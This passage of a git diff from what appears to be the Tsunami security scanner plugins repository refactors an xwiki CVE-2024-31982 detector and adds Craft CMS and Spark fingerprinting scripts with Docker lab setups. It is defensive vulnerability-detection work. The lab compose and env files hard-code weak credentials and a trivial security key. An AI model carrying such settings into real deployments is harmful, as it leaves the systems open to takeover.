VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2024-31982")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-31982")) - .setSeverity(Severity.CRITICAL) - .setTitle("xwiki instance vulnerable to CVE-2024-31982") - .setRecommendation( - "Update to one of the patched versions of xwiki: 14.10.20, 15.5.4, 15.10-rc-1") - .setDescription( - "The xwiki instance is vulnerable to CVE-2024-31982. This vulnerability allows" - + " an attacker to take control of the xwiki instance and does not require" - + " authentication.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/xwiki/cve202431982/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982DetectorTest.java b/google/detectors/rce/xwiki/cve202431982/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982DetectorTest.java index 0144d694a..b7b2aeb99 100644 --- a/google/detectors/rce/xwiki/cve202431982/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982DetectorTest.java +++ b/google/detectors/rce/xwiki/cve202431982/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982DetectorTest.java @@ -29,11 +29,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -55,20 +52,6 @@ public final class Cve202431982DetectorTest { private static final String VULN_CONTENT = "RSS feed for search on tsunami-detection:3025"; - private static final Vulnerability EXPECTED_VULN = - Vulnerability.newBuilder() - .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2024-31982")) - .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-31982")) - .setSeverity(Severity.CRITICAL) - .setTitle("xwiki instance vulnerable to CVE-2024-31982") - .setRecommendation( - "Update to one of the patched versions of xwiki: 14.10.20, 15.5.4, 15.10-rc-1") - .setDescription( - "The xwiki instance is vulnerable to CVE-2024-31982. This vulnerability allows" - + " an attacker to take control of the xwiki instance and does not require" - + " authentication.") - .build(); - private MockWebServer mockWebServer; @Inject private Cve202431982Detector detector; @@ -113,7 +96,7 @@ public void detect_whenVulnerable_reportsVuln() { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(EXPECTED_VULN) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/fingerprinters/web/README.md b/google/fingerprinters/web/README.md index 2e648460c..3fc320f96 100644 --- a/google/fingerprinters/web/README.md +++ b/google/fingerprinters/web/README.md @@ -11,6 +11,7 @@ Application [Apache Zeppelin](https://zeppelin.apache.org/) | [apache_zeppelin.binproto](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/apache_zeppelin.binproto) | 0.7.2 - 0.9.0 [Argo Workflows](https://argoproj.github.io/projects/argo) | [argo-workflows.binproto](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/argo-workflows.binproto) | 2.6.0 - 2.11.8 [Drupal](https://www.drupal.org/) | [drupal.binproto](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/drupal.binproto) | 7.36 - 9.0.6 +[Craft CMS](https://craftcms.com/) | [craftcms.binproto](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/craftcms.binproto) | 3.8.7 - 4.8.4 [Gitlab](https://gitlab.com/gitlab-org/gitlab) | [gitlab.binproto](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/gitlab.binproto) | 10.0.0 - 13.4.1 [GoCD](https://www.gocd.org/) | [gocd.binproto](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/gocd.binproto) | 17.3.0 - 21.1.0 [Grafana](https://grafana.com/) | [grafana.binproto](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/fingerprinters/web/src/main/resources/fingerprinters/web/data/grafana.binproto) | 5.0.0 - 7.3.4 diff --git a/google/fingerprinters/web/gradle/wrapper/gradle-wrapper.jar b/google/fingerprinters/web/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/fingerprinters/web/gradle/wrapper/gradle-wrapper.jar and b/google/fingerprinters/web/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/fingerprinters/web/gradle/wrapper/gradle-wrapper.properties b/google/fingerprinters/web/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/fingerprinters/web/gradle/wrapper/gradle-wrapper.properties +++ b/google/fingerprinters/web/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/fingerprinters/web/gradlew b/google/fingerprinters/web/gradlew index 1aa94a426..23d15a936 100755 --- a/google/fingerprinters/web/gradlew +++ b/google/fingerprinters/web/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/fingerprinters/web/gradlew.bat b/google/fingerprinters/web/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/fingerprinters/web/gradlew.bat +++ b/google/fingerprinters/web/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/fingerprinters/web/scripts/updater/community/craftcms/app/Dockerfile b/google/fingerprinters/web/scripts/updater/community/craftcms/app/Dockerfile new file mode 100644 index 000000000..0bf2b87aa --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/craftcms/app/Dockerfile @@ -0,0 +1,12 @@ +FROM craftcms/nginx:8.2 + +ARG CRAFT_VERSION + +USER root +RUN mkdir -p /app +WORKDIR /app +RUN wget "https://github.com/craftcms/cms/releases/download/${CRAFT_VERSION}/CraftCMS-${CRAFT_VERSION}.zip" -O CraftCMS.zip +RUN unzip -o CraftCMS.zip +COPY env /app/.env +RUN chown -R www-data.www-data /app +USER www-data diff --git a/google/fingerprinters/web/scripts/updater/community/craftcms/app/docker-compose.yml b/google/fingerprinters/web/scripts/updater/community/craftcms/app/docker-compose.yml new file mode 100755 index 000000000..65d074f50 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/craftcms/app/docker-compose.yml @@ -0,0 +1,36 @@ +name: craftcms +services: + web: + build: + context: . + args: + CRAFT_VERSION: "${CRAFT_VERSION}" + ports: + - 8080:8080 + env_file: env + depends_on: + redis: + condition: service_healthy + mysql: + condition: service_healthy + healthcheck: + test: ["CMD", "nc" ,"-z", "127.0.0.1", "8080"] + timeout: 20s + retries: 10 + + mysql: + image: mysql:5.7 + environment: + MYSQL_ROOT_PASSWORD: SuperPassword123456! + MYSQL_DATABASE: dev_craftcms + MYSQL_USER: craftcms + MYSQL_PASSWORD: SecretPassword + healthcheck: + test: ["CMD", "mysqladmin" ,"ping", "-h", "localhost", "-pSuperPassword123456!"] + timeout: 20s + retries: 10 + + redis: + image: redis:5-alpine + healthcheck: + test: ["CMD", "redis-cli", "ping"] diff --git a/google/fingerprinters/web/scripts/updater/community/craftcms/app/env b/google/fingerprinters/web/scripts/updater/community/craftcms/app/env new file mode 100755 index 000000000..2368d4d4f --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/craftcms/app/env @@ -0,0 +1,41 @@ +# Read about configuration, here: +# https://craftcms.com/docs/4.x/config/ + +# The application ID used to to uniquely store session and cache data, mutex locks, and more +CRAFT_APP_ID= +APP_ID= + +# The environment Craft is currently running in (dev, staging, production, etc.) +CRAFT_ENVIRONMENT=production +ENVIRONMENT=production + +# The secure key Craft will use for hashing and encrypting data +CRAFT_SECURITY_KEY=root +SECURITY_KEY=root + +# Database connection settings +CRAFT_DB_DRIVER=mysql +DB_DRIVER=mysql +CRAFT_DB_SERVER=mysql +DB_SERVER=mysql +CRAFT_DB_PORT=3306 +DB_PORT=3306 +CRAFT_DB_DATABASE=dev_craftcms +DB_DATABASE=dev_craftcms +CRAFT_DB_USER=craftcms +DB_USER=craftcms +CRAFT_DB_PASSWORD=SecretPassword +DB_PASSWORD=SecretPassword +CRAFT_DB_SCHEMA=public +DB_SCHEMA=public +CRAFT_DB_TABLE_PREFIX= +DB_TABLE_PREFIX= + +# General settings (see config/general.php) +DEV_MODE=false +ALLOW_ADMIN_CHANGES=false +DISALLOW_ROBOTS=false + +CP_TRIGGER=admin + +PRIMARY_SITE_URL=http://localhost:8080 diff --git a/google/fingerprinters/web/scripts/updater/community/craftcms/update.sh b/google/fingerprinters/web/scripts/updater/community/craftcms/update.sh new file mode 100755 index 000000000..bd15518fd --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/craftcms/update.sh @@ -0,0 +1,92 @@ +#!/usr/bin/env bash + +# Copyright 2024 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +set -e + +source ../../common.sh + +SCRIPT_PATH="$(cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P)" +# Root path to the web fingerprinter plugin. +PROJECT_ROOT="$(cd -- "${SCRIPT_PATH}/../../../.." >/dev/null 2>&1 ; pwd -P)" +# Path to the configurations +APP_PATH="${SCRIPT_PATH}/app" +# Path to the temporary data holder. +TMP_DATA="/tmp/craftcms_fingerprints" +# Path to CraftCMS Releases files +TMP_RELEASE_FILES="${TMP_DATA}/craftcms_instance" +# Path to the local git repository for Craft CMS codebase. +GIT_REPO="${TMP_DATA}/repo" +# Path to the directory of all the updated fingerprints data. +FINGERPRINTS_PATH="${TMP_DATA}/fingerprints" +# Json data of the final result. +JSON_DATA="${FINGERPRINTS_PATH}/fingerprint.json" +# Binary proto data of the final result. +BIN_DATA="${FINGERPRINTS_PATH}/fingerprint.binproto" + +mkdir -p "${FINGERPRINTS_PATH}" +mkdir -p "${TMP_RELEASE_FILES}" + +BINPROTO="${PROJECT_ROOT}/src/main/resources/fingerprinters/web/data/community/craftcms.binproto" + +StartCraftCMS() { + local version="$1" + pushd "${APP_PATH}" >/dev/null + CRAFT_VERSION="$version" docker compose up --build --wait -d + docker exec -it craftcms-web-1 php craft install/craft --email test@test.com --username admin --password tsunami --site-name local --site-url http://localhost:8080 --language en-us + popd >/dev/null +} + +StopCraftCMS() { + pushd "${APP_PATH}" >/dev/null + docker compose down --volumes --remove-orphans + popd >/dev/null +} + +CreateFingerprintForCraftCMS(){ + local version="$1" + StartCraftCMS "$version" + checkOutRepo "${GIT_REPO}" "${version}" + RESOURCES_PATH="${GIT_REPO}" + updateFingerprint \ + "craftcms" \ + "${version}" \ + "${FINGERPRINTS_PATH}" \ + "${RESOURCES_PATH}" \ + "http://localhost:8080" + StopCraftCMS +} + +# Convert the existing data file to a human-readable json file. +convertFingerprint "${BINPROTO}" "${JSON_DATA}" + +# Fetch Craftcms codebase. +if [[ ! -d "${GIT_REPO}" ]] ; then + git clone https://github.com/craftcms/cms "${GIT_REPO}" +fi + +# Read all released CraftCMS versions to be fingerprinted. +readarray -t ALL_VERSIONS < "${SCRIPT_PATH}/versions.txt" + +for craftcms_version in "${ALL_VERSIONS[@]}"; do + CreateFingerprintForCraftCMS "${craftcms_version}" "env" +done + +convertFingerprint "${JSON_DATA}" "${BIN_DATA}" + +echo "Fingerprint updated for Craft CMS. Please commit the following file:" +echo " ${BIN_DATA}" +echo "to" +echo " ${BINPROTO}" diff --git a/google/fingerprinters/web/scripts/updater/community/craftcms/versions.txt b/google/fingerprinters/web/scripts/updater/community/craftcms/versions.txt new file mode 100644 index 000000000..75710b6f0 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/craftcms/versions.txt @@ -0,0 +1,222 @@ +3.9.12 +3.8.10 +3.8.10.2 +3.8.11 +3.8.12 +3.8.13 +3.8.14 +3.8.15 +3.8.16 +3.8.17 +3.8.7 +3.8.8 +3.8.9 +3.9.0 +3.9.1 +3.9.10 +3.9.11 +3.9.2 +3.9.3 +3.9.4 +3.9.5 +3.9.6 +4.4.10 +4.4.10.1 +4.4.11 +4.4.12 +4.4.13 +4.4.14 +4.4.15 +4.4.16 +4.4.16.1 +4.4.17 +4.4.6 +4.4.7 +4.4.7.1 +4.4.8 +4.4.9 +4.5.0 +4.5.0-beta.1 +4.5.0-beta.2 +4.5.1 +4.5.10 +4.5.11 +4.5.11.1 +4.5.12 +4.5.13 +4.5.14 +4.5.15 +4.5.2 +4.5.3 +4.5.4 +4.5.5 +4.5.6 +4.5.6.1 +4.5.7 +4.5.8 +4.5.9 +4.6.0 +4.6.0-RC1 +4.6.1 +4.7.0 +4.7.1 +4.7.2 +4.7.2.1 +4.7.3 +4.7.4 +4.8.0 +4.8.1 +4.8.2 +4.8.3 +4.8.4 +4.8.5 +4.8.6 +4.8.7 +4.8.8 +4.8.9 +4.8.10 +4.8.11 +4.9.0 +4.9.1 +4.9.2 +4.9.3 +4.9.4 +4.9.5 +4.9.6 +4.9.7 +4.10.0-beta.1 +4.10.0-beta.2 +4.10.0 +4.10.1 +4.10.2 +4.10.3 +4.10.4 +4.10.5 +4.10.6 +4.10.7 +4.10.8 +4.11.0 +4.11.0.1 +4.11.0.2 +4.11.1 +4.11.2 +4.11.3 +4.11.4 +4.11.5 +4.12.0 +4.12.1 +4.12.2 +4.12.3 +4.12.4 +4.12.4.1 +4.12.5 +4.12.6 +4.12.6.1 +4.12.7 +4.12.8 +4.12.9 +4.13.0 +4.13.1 +4.13.1.1 +4.13.2 +4.13.3 +4.13.4 +4.13.5 +4.14.x-dev +4.x-dev +5.0.0-alpha.1 +5.0.0-alpha.2 +5.0.0-alpha.3 +5.0.0-alpha.4 +5.0.0-alpha.5 +5.0.0-alpha.6 +5.0.0-alpha.7 +5.0.0-alpha.8 +5.0.0-alpha.9 +5.0.0-alpha.10 +5.0.0-alpha.11 +5.0.0-alpha.12 +5.0.0-alpha.13 +5.0.0-beta.1 +5.0.0-beta.2 +5.0.0-beta.3 +5.0.0-beta.4 +5.0.0-beta.5 +5.0.0-beta.6 +5.0.0-beta.7 +5.0.0-beta.8 +5.0.0-beta.9 +5.0.0-beta.10 +5.0.0-beta.11 +5.0.0-RC1 +5.0.0 +5.0.1 +5.0.2 +5.0.3 +5.0.4 +5.0.5 +5.0.6 +5.1.0 +5.1.1 +5.1.2 +5.1.3 +5.1.4 +5.1.5 +5.1.6 +5.1.7 +5.1.8 +5.1.9 +5.1.10 +5.2.0-beta.1 +5.2.0-beta.2 +5.2.0-beta.3 +5.2.0-beta.4 +5.2.0-beta.5 +5.2.0-beta.6 +5.2.0 +5.2.1 +5.2.2 +5.2.3 +5.2.4 +5.2.4.1 +5.2.5 +5.2.6 +5.2.7 +5.2.8 +5.2.9 +5.2.10 +5.3.0-beta.1 +5.3.0-beta.2 +5.3.0 +5.3.0.1 +5.3.0.2 +5.3.0.3 +5.3.1 +5.3.2 +5.3.3 +5.3.4 +5.3.5 +5.3.6 +5.4.0 +5.4.0.1 +5.4.1 +5.4.2 +5.4.3 +5.4.4 +5.4.5 +5.4.5.1 +5.4.6 +5.4.7 +5.4.7.1 +5.4.8 +5.4.9 +5.4.10 +5.4.10.1 +5.5.0 +5.5.0.1 +5.5.1 +5.5.1.1 +5.5.2 +5.5.3 +5.5.4 +5.5.5 diff --git a/google/fingerprinters/web/scripts/updater/community/spark/app/docker-compose.yml b/google/fingerprinters/web/scripts/updater/community/spark/app/docker-compose.yml new file mode 100644 index 000000000..dfadcd765 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/spark/app/docker-compose.yml @@ -0,0 +1,28 @@ +services: + spark-master: + image: apache/spark:${SPARK_VERSION} + container_name: spark-master + hostname: spark-master + ports: + - "8080:8080" + - "4040:4040" + volumes: + - ./examples:/opt/spark/examples/src/main/python + environment: + - SPARK_MASTER_HOST=spark-master + - SPARK_MASTER_PORT=7077 + - SPARK_LOCAL_HOSTNAME=127.0.0.1 + - DEBIAN_FRONTEND=noninteractive + command: /opt/spark/bin/spark-class org.apache.spark.deploy.master.Master + + spark-worker: + image: apache/spark:${SPARK_VERSION} + container_name: spark-worker + user: root + ports: + - "8081:8081" + volumes: + - ./examples:/opt/spark/examples/src/main/python + environment: + - SPARK_MASTER=spark://spark-master:7077 + command: /opt/spark/bin/spark-class org.apache.spark.deploy.worker.Worker spark://spark-master:7077 diff --git a/google/fingerprinters/web/scripts/updater/community/spark/app/examples/fib.py b/google/fingerprinters/web/scripts/updater/community/spark/app/examples/fib.py new file mode 100644 index 000000000..e67950da3 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/spark/app/examples/fib.py @@ -0,0 +1,33 @@ +import time +from pyspark.sql import SparkSession + +# Initialize Spark session +spark = SparkSession.builder.appName("Fibonacci with Spark").getOrCreate() + + +# Function to calculate Fibonacci numbers +def fibonacci(n): + a, b = 0, 1 + for _ in range(n): + yield a + a, b = b, a + b + + +# Create an RDD with the range of Fibonacci numbers to calculate +n = 10 # Number of Fibonacci numbers to generate +fibonacci_rdd = spark.sparkContext.parallelize(range(n)) + +# Calculate Fibonacci numbers using map transformation +fibonacci_result = fibonacci_rdd.map(lambda x: list(fibonacci(x))) + +# Introduce a unlimit loop with a sleep time to keep spark WebUI running +# We actually dont' want to calculate fibonacci :) +while True: + time.sleep(1) + +# Collect and print the Fibonacci numbers +for result in fibonacci_result.collect(): + print(result) + +# Stop the Spark session +spark.stop() diff --git a/google/fingerprinters/web/scripts/updater/community/spark/update.sh b/google/fingerprinters/web/scripts/updater/community/spark/update.sh new file mode 100755 index 000000000..a10ab27b2 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/spark/update.sh @@ -0,0 +1,140 @@ +#!/usr/bin/env bash + +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +set -e + +source ../../common.sh + +SCRIPT_PATH="$(cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P)" +# Root path to the web fingerprinter plugin. +PROJECT_ROOT="$(cd -- "${SCRIPT_PATH}/../../../.." >/dev/null 2>&1 ; pwd -P)" +# Path to the configurations for starting a live instance of Spark. +SPARK_APP_PATH="${SCRIPT_PATH}/app" +# Path to the temporary data holder. +TMP_DATA="/tmp/SPARK_fingerprints" +# Path to the local git repository for Spark codebase. +GIT_REPO="${TMP_DATA}/repo" +# Path to the directory of all the updated fingerprints data. +FINGERPRINTS_PATH="${TMP_DATA}/fingerprints" +# Json data of the final result. +JSON_DATA="${FINGERPRINTS_PATH}/fingerprint.json" +# Binary proto data of the final result. +BIN_DATA="${FINGERPRINTS_PATH}/fingerprint.binproto" +# Read all the versions to be fingerprinted. +readarray -t ALL_VERSIONS < "${SCRIPT_PATH}/versions.txt" +mkdir -p "${FINGERPRINTS_PATH}" + +startSpark() { + local version="$1" + pushd "${SPARK_APP_PATH}" >/dev/null + # if version-python3 exists then we have a spark container with python3 + # otherwise we must install python3 + if docker manifest inspect "apache/spark:${version}-python3" 2>/dev/null ; then + SPARK_VERSION="${version}-python3" docker compose up -d + sleep 10 + else + SPARK_VERSION="${version}" docker compose up -d + sleep 10 + echo -e "\nInstalling python3 into worker container" + installPython3InSpark "${version}" + fi + popd >/dev/null +} + +installPython3InSpark() { + local version="$1" + pushd "${SPARK_APP_PATH}" >/dev/null + docker exec -it -u 0 spark-master apt-get update >/dev/null + docker exec -it -u 0 spark-master apt-get install python3 python3-pip -y >/dev/null + docker exec -it -u 0 spark-master pip3 install pyspark=="${version}" >/dev/null + popd >/dev/null +} + +stopSpark() { + local version="$1" + pushd "${SPARK_APP_PATH}" >/dev/null + SPARK_VERSION="${version}" docker compose down --volumes --remove-orphans + # or stop the python3 contained version + SPARK_VERSION="${version}-python3" docker compose down --volumes --remove-orphans + popd >/dev/null +} + +createFingerprintForWebUI() { + local spark_version="$1" + + echo "Fingerprinting Spark version ${spark_version} ..." + # Start a live instance of Spark. + startSpark "${spark_version}" + + # Checkout the repository to the correct tag. + if [[ ${spark_version:0:1} == "v" ]]; then + checkOutRepo "${GIT_REPO}" "${spark_version}" + else + checkOutRepo "${GIT_REPO}" "v${spark_version}" + fi + + # Fingerprint of Master UI + updateFingerprint \ + "spark" \ + "${spark_version}" \ + "${FINGERPRINTS_PATH}" \ + "${GIT_REPO}/core/src/main/resources/org/apache/spark/ui/static" \ + "http://localhost:8080/" + + # Fingerprint of Worker UI + updateFingerprint \ + "spark" \ + "${spark_version}" \ + "${FINGERPRINTS_PATH}" \ + "${GIT_REPO}/core/src/main/resources/org/apache/spark/ui/static" \ + "http://localhost:8081/" + + docker exec -d spark-master /opt/spark/bin/spark-submit --master spark://spark-master:7077 /opt/spark/examples/src/main/python/fib.py + sleep 10 + + # Fingerprint of Web Interface + updateFingerprint \ + "spark" \ + "${spark_version}" \ + "${FINGERPRINTS_PATH}" \ + "${GIT_REPO}/core/src/main/resources/org/apache/spark/ui/static" \ + "http://localhost:4040/" + + + # Stop the live instance of Spark. + stopSpark "${spark_version}" +} + + +# Convert the existing data file to a human-readable json file. +convertFingerprint \ + "${PROJECT_ROOT}/src/main/resources/fingerprinters/web/data/community/spark.binproto" \ + "${JSON_DATA}" + +# Fetch Spark codebase. +if [[ ! -d "${GIT_REPO}" ]] ; then + git clone https://github.com/apache/spark.git "${GIT_REPO}" +fi + +# Update for all the versions listed in versions.txt file. +for spark_version in "${ALL_VERSIONS[@]}"; do + createFingerprintForWebUI "${spark_version}" +done + +convertFingerprint "${JSON_DATA}" "${BIN_DATA}" + +echo "Fingerprint updated for Spark. Please commit the following file:" +echo " ${BIN_DATA}" diff --git a/google/fingerprinters/web/scripts/updater/community/spark/versions.txt b/google/fingerprinters/web/scripts/updater/community/spark/versions.txt new file mode 100644 index 000000000..1df648496 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/spark/versions.txt @@ -0,0 +1,19 @@ +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.4.3 +3.4.4 +3.5.0 +3.5.1 +3.5.2 +3.5.3 +3.5.4 diff --git a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinter.java b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinter.java index b713d30d3..556dd4e69 100644 --- a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinter.java +++ b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinter.java @@ -20,11 +20,13 @@ import static com.google.common.collect.ImmutableSet.toImmutableSet; import static com.google.tsunami.common.net.http.HttpRequest.get; import static com.google.tsunami.common.net.http.HttpRequest.post; +import static com.google.tsunami.common.net.http.HttpStatus.TEMPORARY_REDIRECT; import static java.util.stream.Collectors.joining; import com.google.common.collect.ImmutableMap; import com.google.common.collect.ImmutableSet; import com.google.common.flogger.GoogleLogger; +import com.google.tsunami.common.data.NetworkEndpointUtils; import com.google.protobuf.ByteString; import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; @@ -280,6 +282,7 @@ private ImmutableSet detectSoftwareByCustomHeuristics( checkForMlflow(detectedSoftware, networkService, startingUrl); checkForZenMl(detectedSoftware, networkService, startingUrl); + checkForArgoCd(detectedSoftware, networkService, startingUrl); return ImmutableSet.copyOf(detectedSoftware); } @@ -372,4 +375,44 @@ private void checkForZenMl( logger.atWarning().withCause(e).log("Unable to query '%s'.", loginUrl); } } + + private void checkForArgoCd( + Set software, NetworkService networkService, String startingUrl) { + logger.atInfo().log("probing Argo CD - custom fingerprint phase"); + + var uriAuthority = NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint()); + var applicationsApiUrl = String.format("http://%s/%s", uriAuthority, "api/v1/applications"); + try { + HttpHeaders apiApplicationsReqHeaders = + HttpHeaders.builder().addHeader("Content-Type", "application/json").build(); + HttpResponse apiApplicationsResponse = + httpClient.send(post(applicationsApiUrl).setHeaders(apiApplicationsReqHeaders).build()); + if (apiApplicationsResponse.status() == TEMPORARY_REDIRECT) { + applicationsApiUrl = String.format("https://%s/%s", uriAuthority, "api/v1/applications"); + apiApplicationsResponse = + httpClient.send(post(applicationsApiUrl).setHeaders(apiApplicationsReqHeaders).build()); + } + if (apiApplicationsResponse.status() != HttpStatus.INTERNAL_SERVER_ERROR + || apiApplicationsResponse.bodyString().isEmpty()) { + return; + } + + if (apiApplicationsResponse + 